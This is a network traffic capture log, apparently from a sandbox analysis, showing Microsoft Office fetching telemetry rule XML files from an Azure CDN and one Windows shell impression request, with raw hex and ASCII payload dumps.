2024-12-08 16:45:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:50 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164550Z-r1cf579d7786c2tshC1EWRr1gc00000005mg0000000010kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164550Z-r1cf579d7786c2tshC1EWRr1gc00000005h0000000004p16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164550Z-r1cf579d778mvsklhC1EWRkavg000000063g000000005427 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:50 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164550Z-r1cf579d778zvkpnhC1EWRv23g0000000650000000004sby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49848	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:52 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1257493487&PG=PC000P0FR5.0000000IRU&REQASID=7DBFED328BEF47389AA333772CFE252C&UNID=338389&ASID=556f384a579c4323a2cd36d3302ba8a7&&DS_EVTID=7DBFED328BEF47389AA333772CFE252C&DEVOSVER=10.0.19045.2006&REQT=20241208T164505&TIME=20241208T164534Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-12-08 16:45:53 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 504d283d-06f5-46a0-9a85-2ae155295875 Date: Sun, 08 Dec 2024 16:45:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164553Z-r1cf579d778dfdgnhC1EWRd3w000000005s00000000025sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164553Z-r1cf579d778dndrdhC1EWR4b2400000005p00000000006zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164553Z-r1cf579d778dc6d7hC1EWR2vs800000006p0000000000nwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:53 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: a48fda53-401e-008c-0477-4986c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164553Z-r1cf579d7782v2q5hC1EWRt9bw00000000ng000000000qv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164553Z-r1cf579d778dfdgnhC1EWRd3w000000005mg0000000076qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:53 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164555Z-r1cf579d778w59f9hC1EWRze6w000000066g000000001r30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164555Z-r1cf579d778bb9vvhC1EWRs95400000005eg000000004sbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 